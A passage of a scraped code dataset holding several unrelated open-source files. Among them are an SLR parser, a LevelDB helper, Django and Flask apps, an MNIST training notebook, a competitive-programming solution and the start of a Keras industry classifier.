\"|\" + \"|\".join([(\" \".join(self.table[index][c])).center(biggest_cell, ' ') for c in columns]) + '\\n'\n string += '\\n'\n\n string += \"Stack:\\n\"\n for step in self.stack_history:\n string += str(step) + '\\n'\n string += '\\n'\n\n if self.verdict:\n string += \"Tree:\\n\"\n string += self.tree_to_string()\n\n string += \"Verdict: \" + \"Accepted\" if self.verdict else \"Rejected\" + '\\n'\n\n return string\n\n def tree_to_string(self):\n self.tree = [[self.grammar['S']]] + self.tree\n self.tree_pointer, level_tree, level_pointer = 0, {}, {}\n self.tree_to_level_tree(0, level_tree)\n for l in sorted(level_tree):\n level_tree[l].reverse()\n level_pointer[l] = 0\n new_tree = []\n self.level_tree_to_tree(0, level_pointer, level_tree, new_tree)\n self.tree, self.tree_pointer = new_tree, 0\n return self.tree_to_string_util(0)\n def tree_to_level_tree(self, depth, level_tree):\n if depth not in level_tree: level_tree[depth] = []\n level_tree[depth] += [self.tree[self.tree_pointer]]\n for element in self.tree[self.tree_pointer]:\n if (element in self.non_terminals):\n self.tree_pointer += 1\n self.tree_to_level_tree(depth + 1, level_tree)\n def level_tree_to_tree(self, depth, level_pointer, level_tree, new_tree):\n if depth not in level_tree or level_pointer[depth] >= len(level_tree[depth]): return\n new_tree += [level_tree[depth][level_pointer[depth]]]\n for element in level_tree[depth][level_pointer[depth]]:\n if (element in self.non_terminals):\n self.level_tree_to_tree(depth + 1, level_pointer, level_tree, new_tree)\n level_pointer[depth] += 1\n def tree_to_string_util(self, depth):\n tree_string = \"\"\n for element in self.tree[self.tree_pointer]:\n tree_string += '\\t'*depth + str(element) + '\\n'\n if (element in self.non_terminals):\n self.tree_pointer += 1\n tree_string += self.tree_to_string_util(depth + 1)\n return tree_string\n\n def save(self, folder):\n try: os.mkdir(folder)\n except: pass\n\n tokens = open(folder + \"tokens\", \"w\")\n for token in self.tokens:\n print(token, file=tokens)\n tokens.close()\n\n stack = open(folder + \"stack\", \"w\")\n for step in self.stack_history:\n print(step, file=stack)\n stack.close()\n\n follow = open(folder + \"follow\", \"w\")\n for n in self.non_terminals:\n print(\"follow(%s) =\" % n, self.grammar_follow[n], file=follow)\n follow.close()\n\n canonical = open(folder + \"canonical\", \"w\")\n for i, state in enumerate(self.canonical):\n print(\"I_%d =\" % i, state, file=canonical)\n canonical.close()\n\n table = open(folder + \"table\", \"w\")\n columns = sorted(self.terminals) + [\"EOF\"] + sorted(self.non_terminals)\n biggest_cell = max(len(i) for i in columns)\n for row in self.table:\n for column in self.table[row]:\n cell = self.table[row][column]\n biggest_cell = max(biggest_cell, len(\" \".join(cell)))\n print(\" \"*(3+floor(log10(len(self.table)))) + \"|\" + \"|\".join([c.center(biggest_cell, ' ') for c in columns]), file=table)\n for i in range(len(self.table)):\n index = \"I_%d\" % i\n print(str(index).center(3+floor(log10(len(self.table))), ' ') + \"|\" + \"|\".join([(\" \".join(self.table[index][c])).center(biggest_cell, ' ') for c in columns]), file=table)\n table.close()\n\n tree = open(folder + \"tree\", \"w\")\n print(self.tree_to_string(), file=tree)\n print(\"\\nVerdict: \" + \"Accepted\" if self.verdict else \"Rejected\", file=tree)\n tree.close()\n\n def read_grammar(self, grammar_file):\n self.grammar['S'] = grammar_file.readline().strip('\\n')\n line = grammar_file.readline()\n while line:\n left, right = line.split('=')\n left = left.strip(' ')\n if left not in self.grammar: self.grammar[left] = []\n self.non_terminals.add(left)\n for production in right.split('|'):\n elements = production.split()\n for element in elements:\n if (element[0] == '\\'' and element != '\\'e\\''): self.terminals.add(element)\n self.grammar[left] += [elements]\n line = grammar_file.readline()\n while line == '\\n': line = grammar_file.readline()\n\n def first(self, production, visited):\n if production == ['e']: return ['e']\n if tuple(production) in visited: return []\n visited.add(tuple(production))\n first_set, epis = set(), 0\n for element in production:\n doneAll = True\n if element not in self.non_terminals:\n first_set.add(element)\n break\n elif ['e'] in self.grammar[element]: epis, doneAll = epis + 1, False\n if element in self.non_terminals:\n inside_epi = False\n for productions in self.grammar[element]:\n first_minus_epi = self.first(productions, visited)\n first_set.update(first_minus_epi)\n if 'e' in first_minus_epi:\n inside_epi = True\n first_set.remove('e')\n if not inside_epi: break\n else: epis += done\n else:\n if epis >= len(production): first_set.add('e')\n return first_set\n\n def follow(self, X, visited):\n follow_set = set()\n if (X == self.grammar['S']): follow_set.add(\"EOF\")\n for A in self.non_terminals:\n for production in self.grammar[A]:\n if (X not in production): continue\n is_last = False\n for i, element in enumerate(production):\n if (element != X): continue\n is_last = i == len(production) - 1\n if (i < len(production) - 1):\n first_minus_epi = self.first(production[i + 1:], set())\n follow_set.update(first_minus_epi)\n if ('e' in first_minus_epi): is_last = True\n if (is_last):\n if (A == X): continue\n if (A not in visited):\n visited.add(A)\n follow_set.update(self.grammar_follow[A] if A in self.grammar_follow else self.follow(A, visited))\n if ('e' in follow_set): follow_set.remove('e')\n return follow_set\n\n def closure(self, production_block, visited):\n closure_set = set()\n if tuple(production_block) in visited: return closure_set\n visited.add(tuple(production_block))\n\n closure_set.add(production_block)\n dot, production = production_block[0], production_block[1][2]\n if dot < len(production) and production[dot] in self.non_terminals:\n for inter_production in self.grammar[production[dot]]:\n inter_production_block = (0, (production[dot], \"=\", tuple(inter_production)))\n closure_set.update(self.closure(inter_production_block, visited))\n return sorted(closure_set)\n\n def goto(self, state, symbol):\n new_state = []\n for dot, production in state:\n if dot >= len(production[2]) or production[2][dot] != symbol or production[2][0] == 'e': continue\n new_production_block = ((dot + 1), (production))\n closure_set = self.closure(new_production_block, set())\n for production_block in closure_set:\n if production_block not in new_state: new_state += [production_block]\n return new_state\n\n def get_symbols(self, closure_set):\n symbols = set()\n for dot, production in closure_set:\n if dot < len(production[2]): symbols.add(production[2][dot])\n return symbols\n\n def build_canonical(self):\n self.canonical += [self.closure((0, (\"S'\", \"=\", tuple([self.grammar['S']]) )), set())]\n i = 0\n while i < len(self.canonical):\n symbols = self.get_symbols(self.canonical[i])\n for symbol in symbols:\n new_state = self.goto(self.canonical[i], symbol)\n if not new_state: continue\n if new_state not in self.canonical: self.canonical += [new_state]\n self.gotos[(i, symbol)] = self.canonical.index(new_state)\n i += 1\n\n def init_table(self):\n for i in range(len(self.canonical)):\n index = \"I_%d\" % i\n self.table[index] = {}\n for t in self.terminals: self.table[index][t] = [\"Error\"]\n for n in self.non_terminals: self.table[index][n] = [\"Error\"]\n self.table[index][\"EOF\"] = [\"Error\"]\n\n def build_SLR_table(self):\n self.init_table()\n\n # RULE: S' = S .\n closure_set = self.canonical[self.gotos[(0, self.grammar['S'])]] # goto(I_0, S)\n self.table[\"I_%d\" % self.canonical.index(closure_set)][\"EOF\"] = [\"Accepted\"]\n if ['e'] in self.grammar[self.grammar['S']]: self.table[\"I_0\"][\"EOF\"] = [\"Accepted\"]\n\n # RULE: goto(state, symbol) [symbol = terminals U nonTerminals]\n for state, symbol in sorted(self.gotos):\n index = \"I_%d\" % state\n if self.table[index][symbol] != [\"Error\"]: self.ambiguity += [\"Duplication on %s %s\" % (str(index), str(symbol))]\n self.table[index][symbol] = [(\"s\" if symbol in self.terminals else \"\") + str(self.gotos[(state, symbol)])]\n\n # RULE: A = alpha .\n for i in range(len(self.canonical)):\n index = \"I_%d\" % i\n for dot, production in self.canonical[i]:\n n, production = production[0], production[2]\n if n == \"S'\": continue\n if dot >= len(production):\n for f in self.grammar_follow[n]:\n if self.table[index][f] != [\"Error\"]: self.ambiguity += [\"Duplication on %s %s from %s to r%d %s %s\" % (str(index), str(f), str(self.table[index][f]), self.grammar[n].index([*production]), str(production), str(n))]\n self.table[index][f] = [\"r%d\" % self.grammar[n].index([*production]), n]\n\n def actual_token(self):\n return '\\'' + self.token.category.name + '\\'' if self.token else \"EOF\"\n\n def next_token(self):\n if ALCINO and self.token is not None: print(self.token)\n prev = (self.token.category.name, self.token.value) if self.token else None\n self.token = self.lexicalAnalyzer.next_token()\n if self.token is not None: self.tokens += [self.token]\n return prev\n\n def parse(self):\n stack = [[0, \"\"]]\n while (stack):\n if LIVE: print(stack)\n self.stack_history += [stack.copy()]\n\n state, symbol = stack[len(stack) - 1]\n action = self.table[\"I_%d\" % state][self.actual_token()]\n\n if action[0] == \"Error\": return(False)\n if action[0] == \"Accepted\": return(True)\n\n if action[0][0] == 's': # stacks\n stack += [[int(action[0][1:]), self.next_token()]]\n elif action[0][0] == 'r': # redecuts\n n = action[1] # gets non_terminal\n production = self.grammar[n][int(action[0][1:])]\n now = []\n for i in range(len(production)):\n state, symbol = stack.pop(len(stack) - 1)\n now = [symbol] + now\n if ALCINO: print(\" \"*13, n, \"=\", now)\n self.tree = [now] + self.tree\n state, symbol = stack[len(stack) - 1]\n trasition = int(self.table[\"I_%d\" % state][n][0])\n stack += [[trasition, n]]\n\n def analyse(self):\n self.build_canonical()\n self.build_SLR_table()\n try:\n self.verdict = self.parse()\n except KeyError as e:\n print(\"Syntatic Analysis failed because of unknown token:\", e)\n return self.verdict\n","repo_name":"The-Compiler-Network/TCNPL","sub_path":"SyntacticAnalyzer/analyzer/SLRParser.py","file_name":"SLRParser.py","file_ext":"py","file_size_in_byte":14908,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"7661221441","text":"\"\"\"\nA utility module for dealing with the backing database for serialized objects (LevelDB).\n\"\"\"\n\nimport os\nfrom contextlib import contextmanager\n\n\ndef is_plyvel_installed() -> bool:\n \"\"\"\n Tests if the plyvel LevelDB driver is currently installed.\n :return: True if so, false if otherwise.\n \"\"\"\n try:\n import plyvel\n return True\n except:\n return False\n\n\n@contextmanager\ndef open_db(loc: str) -> 'plyvel.DB':\n \"\"\"\n Creates a managed LevelDB handle (use the 'with' statement!).\n :param loc: The directory of the database.\n :return: The database.\n \"\"\"\n import plyvel\n from filelock import FileLock\n\n if not os.path.exists(loc):\n os.mkdir(loc)\n\n lock = FileLock(os.path.join(loc, \"LOCK.lock\"))\n with lock:\n db = plyvel.DB(loc, create_if_missing=True)\n yield db\n db.close()\n\n\n@contextmanager\ndef open_prefixed_db(loc: str, prefix: bytes) -> 'plyvel.DB':\n \"\"\"\n Creates a managed LevelDB handle (use the 'with' statement!).\n :param loc: The directory of the database.\n :param prefix: The prefix for objects inserted.\n :return: The database.\n \"\"\"\n with open_db(loc) as db:\n yield db.prefixed_db(prefix)\n","repo_name":"austinv11/pypeline","sub_path":"pypeline/_db.py","file_name":"_db.py","file_ext":"py","file_size_in_byte":1220,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"26381205821","text":"from django.conf import settings\n\nfrom users.models import User\nfrom django.db import models\n\nNULLABLE = {'blank': True, 'null': True}\n\n\nclass Category(models.Model):\n name = models.CharField(max_length=100, verbose_name='Наименование')\n discription = models.TextField(verbose_name='Описание')\n\n def __str__(self):\n return f'{self.name} {self.discription}'\n\n class Meta:\n verbose_name = 'категория'\n verbose_name_plural = 'категории'\n\n\nclass Product(models.Model):\n name = models.CharField(max_length=100, verbose_name='Наименование')\n discription = models.TextField(max_length=200, verbose_name='Описание продукта')\n picture = models.ImageField(upload_to='pics/', **NULLABLE, verbose_name='Изображение')\n category = models.ForeignKey(Category, on_delete=models.CASCADE,verbose_name='категория продукта')\n price_for_buy = models.IntegerField(verbose_name='цена за покупку')\n data_create = models.DateTimeField(auto_now_add=True, blank=True, verbose_name='дата создания')\n last_modified_date = models.DateTimeField(auto_now=True, blank=True,\n verbose_name='дата последнего изменения') # c установкой при изменении\n phone = models.CharField(max_length=11, verbose_name='Телефон', **NULLABLE)\n user = models.ForeignKey(settings.AUTH_USER_MODEL, on_delete=models.SET_NULL, **NULLABLE, verbose_name='user')\n\n def __str__(self):\n return f'{self.name}{self.discription}'\n\n class Meta:\n verbose_name = 'продукт'\n verbose_name_plural = 'продукты'\n\n\nclass Version(models.Model):\n # product = models.ManyToManyField(Product, related_name='versions', blank=True)\n product = models.ForeignKey(Product, related_name='versions', on_delete=models.CASCADE, **NULLABLE)\n number_version = models.IntegerField(verbose_name='номер версии')\n name_version = models.CharField(max_length=100, verbose_name='название версии')\n flag_of_the_current_version = models.BooleanField(default=False, verbose_name='признак текущей версии')\n\n def __str__(self):\n return f'{self.name_version}'\n\n class Meta:\n verbose_name = 'версия'\n verbose_name_plural = 'версии'\n","repo_name":"djKeysi/catalog","sub_path":"main/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":2446,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"15182211179","text":"X, Y = [int(_) for _ in input().split()]\r\n\r\ncache = {}\r\n\r\ndef calc(X, Y):\r\n if X < Y:\r\n X, Y = Y, X\r\n def cal(X, Y):\r\n if X <= 1:\r\n return False\r\n for n in range(1, X // 2 + 1):\r\n if calc(X - n * 2, Y + n) == False:\r\n return True\r\n for n in range(1, Y // 2 + 1):\r\n if calc(X + n, Y - n * 2) == False:\r\n return True\r\n return False\r\n k = (X, Y)\r\n if k in cache:\r\n return cache[k]\r\n r = cal(X, Y)\r\n cache[k] = r\r\n return r\r\n\r\ndef calc1(X, Y):\r\n if abs(X - Y) < 2:\r\n return False\r\n return True\r\n\r\nif calc1(X, Y):\r\n print(\"Alice\")\r\nelse:\r\n print(\"Brown\")","repo_name":"Kawser-nerd/CLCDSA","sub_path":"Source Codes/AtCoder/arc072/B/3058362.py","file_name":"3058362.py","file_ext":"py","file_size_in_byte":694,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"72"} +{"seq_id":"70169061993","text":"# ---\n# jupyter:\n# jupytext:\n# formats: ipynb,py\n# split_at_heading: true\n# text_representation:\n# extension: .py\n# format_name: light\n# format_version: '1.5'\n# jupytext_version: 1.6.0\n# kernelspec:\n# display_name: Python 3\n# language: python\n# name: python3\n# ---\n\n# %matplotlib inline\nfrom fastai.callback.all import *\nfrom torch.utils.data import TensorDataset\nfrom fastai.basics import *\nimport gzip\n\n# ## MNIST SGD\n\n# Get the 'pickled' MNIST dataset from http://deeplearning.net/data/mnist/mnist.pkl.gz. We're going to treat it as a standard flat dataset with fully connected layers, rather than using a CNN.\n\npath = Config().data / 'mnist'\n\npath.ls()\n\nwith gzip.open(path / 'mnist.pkl.gz', 'rb') as f:\n ((x_train, y_train), (x_valid, y_valid), _) = pickle.load(f, encoding='latin-1')\n\nplt.imshow(x_train[0].reshape((28, 28)), cmap=\"gray\")\nx_train.shape\n\nx_train, y_train, x_valid, y_valid = map(torch.tensor, (x_train, y_train, x_valid, y_valid))\nn, c = x_train.shape\nx_train.shape, y_train.min(), y_train.max()\n\n# In lesson2-sgd we did these things ourselves:\n#\n# ```python\n# x = torch.ones(n,2)\n# def mse(y_hat, y): return ((y_hat-y)**2).mean()\n# y_hat = x@a\n# ```\n#\n# Now instead we'll use PyTorch's functions to do it for us, and also to handle mini-batches (which we didn't do last time, since our dataset was so small).\n\n\nbs = 64\ntrain_ds = TensorDataset(x_train, y_train)\nvalid_ds = TensorDataset(x_valid, y_valid)\ntrain_dl = TfmdDL(train_ds, bs=bs, shuffle=True)\nvalid_dl = TfmdDL(valid_ds, bs=2 * bs)\ndls = DataLoaders(train_dl, valid_dl)\n\nx, y = dls.one_batch()\nx.shape, y.shape\n\n\nclass Mnist_Logistic(Module):\n def __init__(self): self.lin = nn.Linear(784, 10, bias=True)\n def forward(self, xb): return self.lin(xb)\n\n\nmodel = Mnist_Logistic().cuda()\n\nmodel\n\nmodel.lin\n\nmodel(x).shape\n\n[p.shape for p in model.parameters()]\n\nlr = 2e-2\n\nloss_func = nn.CrossEntropyLoss()\n\n\ndef update(x, y, lr):\n wd = 1e-5\n y_hat = model(x)\n # weight decay\n w2 = 0.\n for p in model.parameters():\n w2 += (p**2).sum()\n # add to regular loss\n loss = loss_func(y_hat, y) + w2 * wd\n loss.backward()\n with torch.no_grad():\n for p in model.parameters():\n p.sub_(lr * p.grad)\n p.grad.zero_()\n return loss.item()\n\n\nlosses = [update(x, y, lr) for x, y in dls.train]\n\nplt.plot(losses)\n\n\nclass Mnist_NN(Module):\n def __init__(self):\n self.lin1 = nn.Linear(784, 50, bias=True)\n self.lin2 = nn.Linear(50, 10, bias=True)\n\n def forward(self, xb):\n x = self.lin1(xb)\n x = F.relu(x)\n return self.lin2(x)\n\n\nmodel = Mnist_NN().cuda()\n\nlosses = [update(x, y, lr) for x, y in dls.train]\n\nplt.plot(losses)\n\nmodel = Mnist_NN().cuda()\n\n\ndef update(x, y, lr):\n opt = torch.optim.Adam(model.parameters(), lr)\n y_hat = model(x)\n loss = loss_func(y_hat, y)\n loss.backward()\n opt.step()\n opt.zero_grad()\n return loss.item()\n\n\nlosses = [update(x, y, 1e-3) for x, y in dls.train]\n\nplt.plot(losses)\n\nlearn = Learner(dls, Mnist_NN(), loss_func=loss_func, metrics=accuracy)\n\n\nlearn.lr_find()\n\nlearn.fit_one_cycle(1, 1e-2)\n\nlearn.recorder.plot_sched()\n\nlearn.recorder.plot_loss()\n\n# ## fin\n","repo_name":"huangyingw/fastai_fastai","sub_path":"dev_nbs/course/lesson5-sgd-mnist.py","file_name":"lesson5-sgd-mnist.py","file_ext":"py","file_size_in_byte":3241,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"13207514547","text":"# 导入随机数模块\nimport random\n# 导入蓝图对象\nfrom flask import Blueprint,g,current_app,jsonify\n# 导入flask-restful扩展\nfrom flask_restful import Api,Resource\n\n# 导入登录验证装饰器\nfrom lib.decoraters import login_required\n# 导入模型类书架\nfrom models import BookShelf,Book,db,User,BookChapters,ReadRate\n\n# 书架\n# 创建蓝图对象\nmybooks_bp = Blueprint('mybook',__name__)\n\napi = Api(mybooks_bp)\n\nclass MyBooksListResource(Resource):\n \"\"\"\n 书架列表\n \"\"\"\n method_decorators = [login_required]\n\n def get(self):\n # 1.添加登录验证装饰器\n user_id = g.user_id\n # 2.默认查询书架中的所有书籍数据,排序\n try:\n mybooks = BookShelf.query.filter_by(user_id=user_id).order_by(BookShelf.created.desc()).all()\n except Exception as e:\n current_app.logger.error(e)\n return {'msg':'数据库查询错误'},500\n # 定义临时列表,存储数据\n data = []\n # 3.判断查询结果\n if not mybooks:\n # 如果书架没有书籍,随机挑选5本书籍,存入书架中\n try:\n books = Book.query.all()\n except Exception as e:\n current_app.logger.error(e)\n return {'msg':'数据库查询错误'},500\n books_list = random.sample(books,5)\n for bk in books_list:\n book_shelf = BookShelf(\n user_id=user_id,\n book_id=bk.book_id,\n book_name=bk.book_name,\n cover=bk.cover\n )\n # 提交数据\n db.session.add(book_shelf)\n # 添加的七牛云存储的图片的绝对路径:七牛云的空间域名+七牛云存储的图片名称\n data.append({\n 'id':bk.book_id,\n 'imgURL':'http://{}/{}'.format(current_app.config['QINIU_SETTINGS']['host'],bk.cover),\n 'title':bk.book_name\n })\n try:\n db.session.commit()\n except Exception as e:\n current_app.logger.error(e)\n return {'msg':'数据库错误'},500\n return {'msg':data}\n # 如果书架中有书籍数据,遍历书籍数据,获取每本书的数据\n else:\n for bk in mybooks:\n data.append({\n 'id':bk.book_id,\n 'imgURL':'http://{}/{}'.format(current_app.config['QINIU_SETTINGS']['host'],bk.cover),\n 'title':bk.book_name\n })\n # 4.返回书籍数据\n return {'msg':data}\n\nclass BookShelfManageResource(Resource):\n \"\"\"\n 书架管理:\n 添加书籍、删除书籍\n \"\"\"\n method_decorators = [login_required]\n\n def post(self,book_id):\n \"\"\"\n book_id:url固定参数,必须作为视图参数直接传入,Flask中使用转换器进行处理,默认的数据类型是str;\n :return:\n \"\"\"\n # 1.添加登录验证装饰器\n user_id = g.user_id\n # 2.接收参数,书籍id\n # 3.根据书籍id,查询书籍表,确认数据的存在\n try:\n book = Book.query.filter(Book.book_id==book_id).first()\n except Exception as e:\n current_app.logger.error(e)\n return {'msg':'数据库查询错误'},500\n # 确认查询结果\n if not book:\n return {'msg':'书籍不存在'},404\n # 4.查询书架表,确认该书在书架中是否存在\n try:\n book_shelf = BookShelf.query.filter(BookShelf.user_id==user_id,BookShelf.book_id==book_id).first()\n except Exception as e:\n current_app.logger.error(e)\n return {'msg':'数据库查询错误'},500\n # 判断书架的查询结果\n if not book_shelf:\n # 5.如果书架中不存在,添加书籍\n bk_shelf = BookShelf(\n user_id=user_id,\n book_id=book.book_id,\n book_name=book.book_name,\n cover=book.cover\n )\n db.session.add(bk_shelf)\n try:\n db.session.commit()\n except Exception as e:\n current_app.logger.error(e)\n return {'msg':'数据库错误'},500\n # 返回添加成功的信息\n return {'msg':'添加成功'}\n else:# 否则,书架中该书籍已经存在\n return {'msg':'书架中该书籍已经存在'},400\n\n def delete(self,book_id):\n user_id = g.user_id\n # - 2.接收参数,书籍id\n try:\n bk_shelf = BookShelf.query.filter_by(user_id=user_id, book_id=book_id).first()\n except Exception as e:\n current_app.logger.error(e)\n return {'msg':'数据库查询错误'},500\n # - 3.根据书籍id,查询书籍表,确认数据的存在\n if not bk_shelf:\n return jsonify(msg='该书籍在书架中不存在'), 400\n # - 4.删除书籍\n db.session.delete(bk_shelf)\n try:\n db.session.commit()\n except Exception as e:\n current_app.logger.error(e)\n return {'msg':'数据库错误'},500\n return {'msg':'删除成功'}\n\n\nclass BookLastReadResource(Resource):\n \"\"\"\n 书架管理:最后阅读\n \"\"\"\n method_decorators = [login_required]\n\n def get(self):\n # 1.使用登录验证装饰器,获取用户信息\n user_id = g.user_id\n try:\n user = User.query.get(user_id)\n except Exception as e:\n current_app.logger.error(e)\n return {'msg':'数据库查询错误'},500\n read_rate = None\n # 2.判断用户没有阅读书籍\n if not user.last_read:\n # 3.如果用户没有阅读,默认查询第一本书籍,当做用户的阅读书籍\n # -----也可以查询书架的第一本书\n book = Book.query.first()\n # 保存用户的阅读书籍的id\n user.last_read = book.book_id\n # 4.查询该书籍的章节信息,默认升序排序,\n try:\n bk_chapter = BookChapters.query.filter_by(book_id=book.book_id).order_by(BookChapters.chapter_id.asc()).first()\n except Exception as e:\n current_app.logger.error(e)\n return {'msg':'数据库查询错误'},500\n # 保存用户的阅读书籍的章节信息\n user.last_read_chapter_id = bk_chapter.chapter_id\n # - 把查询结果,存入阅读进度表\n read_rate = ReadRate(\n user_id=user.id,\n book_id=book.book_id,\n chapter_id=bk_chapter.chapter_id,\n chapter_name=bk_chapter.chapter_name\n )\n # 保存数据\n db.session.add(read_rate)\n db.session.add(user)\n # 保存两个对象,参数必须列表\n # db.session.add_all([read_rate,user])\n try:\n db.session.commit()\n except Exception as e:\n current_app.logger.error(e)\n return {'msg':'数据库错误'},500\n # 5.如果用户阅读书籍,查询用户阅读的书籍\n else:\n try:\n book = Book.query.get(user.last_read)\n except Exception as e:\n current_app.logger.error(e)\n return {'msg':'数据库查询错误'},500\n # 6.判断是否有阅读进度,如果没有,查询阅读进度表\n if not read_rate:\n try:\n read_rate = ReadRate.query.filter_by(\n user_id=user.id,\n book_id=book.book_id,\n chapter_id=user.last_read_chapter_id\n ).first()\n except Exception as e:\n current_app.logger.error(e)\n return {'msg':'数据库查询错误'},500\n\n # 7.返回查询结果\n data = {\n 'id':book.book_id,\n 'title':book.book_name,\n 'chapter':read_rate.chapter_name,\n 'progress':read_rate.rate,\n 'imgURL':'http://{}/{}'.format(current_app.config['QINIU_SETTINGS']['host'],book.cover)\n }\n # 转成json格式返回数据\n return data\n\n\n# 给类视图添加路由\napi.add_resource(MyBooksListResource,'/mybooks')\napi.add_resource(BookShelfManageResource,'/mybooks/')\napi.add_resource(BookLastReadResource,'/mybooks/last')","repo_name":"lisa530/wenxue-backend","sub_path":"applet_app/mybooks.py","file_name":"mybooks.py","file_ext":"py","file_size_in_byte":8651,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"7803834571","text":"from tkinter import Tk\nfrom tkinter import mainloop\nfrom tkinter import Label\nfrom tkinter import Button\n\nwindow = Tk()\nLabel(window,text='Hello',font=28,foreground='white',background='blue').pack()\nLabel(window,text='Welcome to this application',font=28,foreground='white',background='blue').pack()\nwindow.resizable(height=False,width=False)\ndef go_to_activity():\n print('hello')\n\nbtn = Button(window)\nbtn.configure(text='go to original activity',background='red',foreground='white',command=go_to_activity)\nbtn.pack()\nwindow.minsize(500,500)\nwindow.mainloop()","repo_name":"elman8787/live-emotion-detection","sub_path":"gui.py","file_name":"gui.py","file_ext":"py","file_size_in_byte":563,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"40675524189","text":"from cwsimpy import Model\nimport json\nimport base64\n\nif __name__ == \"__main__\":\n RPC_URL = \"http://5.9.66.60:26657\"\n FACTORY_ADDR = \"terra1466nf3zuxpya8q9emxukd7vftaf6h4psr0a07srl5zw74zh84yjqxl5qul\"\n ROUTER_ADDR = \"terra13ehuhysn5mqjeaheeuew2gjs785f6k7jm8vfsqg3jhtpkwppcmzqcu7chk\"\n m = Model(RPC_URL, 2540362, \"terra\")\n msg = json.dumps(\n {\n \"pairs\": {\n \"start_after\": None,\n \"limit\": None,\n }\n }\n ).encode()\n res = m.wasm_query(FACTORY_ADDR, msg)\n print(bytearray(res).decode(\"utf-8\"))\n","repo_name":"dream-academy/cosmwasm-simulate","sub_path":"python-bindings/tests/test_mainnet.py","file_name":"test_mainnet.py","file_ext":"py","file_size_in_byte":577,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"72"} +{"seq_id":"29977972542","text":"\"\"\"techtracking URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/1.11/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: url(r'^$', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: url(r'^$', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.conf.urls import url, include\n 2. Add a URL to urlpatterns: url(r'^blog/', include('blog.urls'))\n\"\"\"\nfrom django.conf.urls import url, include\nfrom django.contrib import admin\n\nimport checkout.views\n\nurlpatterns = [\n url(r'^$', checkout.views.index, name='index'),\n url(r'^week/(?P[0-9]+)$', checkout.views.week_schedule, name='schedule'),\n url(r'^request/', checkout.views.reserve_request, name='reserve_request'),\n url(r'^reserve/', checkout.views.reserve, name='reserve'),\n url(r'^reservations/', checkout.views.reservations, name='reservations'),\n url(r'^movements/(?P[0-9]+)$', checkout.views.week_movements, name='movements'),\n url(r'^movements/', checkout.views.movements, name='movements'),\n url(r'^delete/', checkout.views.delete, name='delete'),\n url(r'^export/', checkout.views.export, name='export'),\n url(r'^change_site/', checkout.views.change_site, name='change_site'),\n url(r'^admin/', admin.site.urls),\n url(r'^accounts/', include('django.contrib.auth.urls')),\n]\n","repo_name":"raghavsethi/techtracking","sub_path":"techtracking/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1587,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"35461182456","text":"# -*- coding: UTF-8 -*-\n\"\"\"\nThis module creates model object.\n\"\"\"\nimport os\nimport logging\nimport numpy as np\nfrom subprocess import Popen, PIPE\nfrom .utils import log_config, setup_logging\nfrom industryguesser import PARENT_DIR, ind_cutoff\nfrom sklearn.model_selection import train_test_split\nimport tensorflow.keras.backend as K\nfrom tensorflow.keras.models import Sequential\nfrom tensorflow.keras.models import model_from_json\nfrom tensorflow.keras.callbacks import ModelCheckpoint, EarlyStopping, History\nfrom tensorflow.keras.layers import Embedding, Conv1D, Dense, MaxPooling1D, Dropout, Flatten\nfrom .encoder import KerasBatchGenerator, CompanyEncoder, IndustryEncoder\n\n\nsetup_logging(log_config)\nlogger = logging.getLogger(__name__)\n\n\nclass SimpleCNN(object):\n \"\"\" Simple CNN model. \"\"\"\n _classifier_weights_file_name = 'model_weights.h5'\n _classifier_graph_file_name = 'model_graph.json'\n _classifier_weights_next_name = 'model_weights_next.h5'\n _classifier_graph_next_name = 'graph_next.json'\n _classifier_weights_path = os.path.join(PARENT_DIR, 'industryguesser/models', _classifier_weights_file_name)\n _classifier_graph_path = os.path.join(PARENT_DIR, 'industryguesser/models', _classifier_graph_file_name)\n _classifier_weights_next_path = os.path.join(PARENT_DIR, 'industryguesser/models', _classifier_weights_next_name)\n _classifier_graph_next_path = os.path.join(PARENT_DIR, 'industryguesser/models', _classifier_graph_next_name)\n\n def __init__(self, lower=True, pad_size=18, padding='post', embedding_size=256, filters=128,\n kernel_size=3, pool_size=3, cnn_dropout=0.2, optimizer='adam', loss='binary_crossentropy',\n metrics=None):\n self._pad_size = pad_size\n self._embedding_size = embedding_size\n self._filters = filters\n self._kernel_size = kernel_size\n self._pool_size = pool_size\n self._cnn_dropout = cnn_dropout\n self._optimizer = optimizer\n self._loss = loss\n self._metrics = metrics if metrics else ['accuracy']\n self._com_encoder = CompanyEncoder(lower, pad_size, padding)\n self._vocab_size = None\n self._ind_encoder = IndustryEncoder()\n self._model = None\n\n def _encode_company(self, companies, fit=False):\n \"\"\" Encode the input companies with IndustryEncoder. \"\"\"\n if fit:\n self._com_encoder.fit(companies)\n encoded_companies = self._com_encoder.encode(companies)\n self._vocab_size = self._com_encoder.vocab_size\n\n return encoded_companies\n\n def _encode_industry(self, industries, fit=False):\n \"\"\" Encode the input industries with IndustryEncoder. \"\"\"\n if fit:\n self._ind_encoder.fit(industries)\n\n encoded_industries = self._ind_encoder.encode(industries)\n\n return encoded_industries\n\n def train(self, companies, industries, split_rate=0.2, batch_size=128, patience=5,\n model_weight_path=_classifier_weights_path, model_graph_path=_classifier_graph_path,\n save_best_only=True, save_weights_only=True, epochs=100):\n \"\"\" Train the 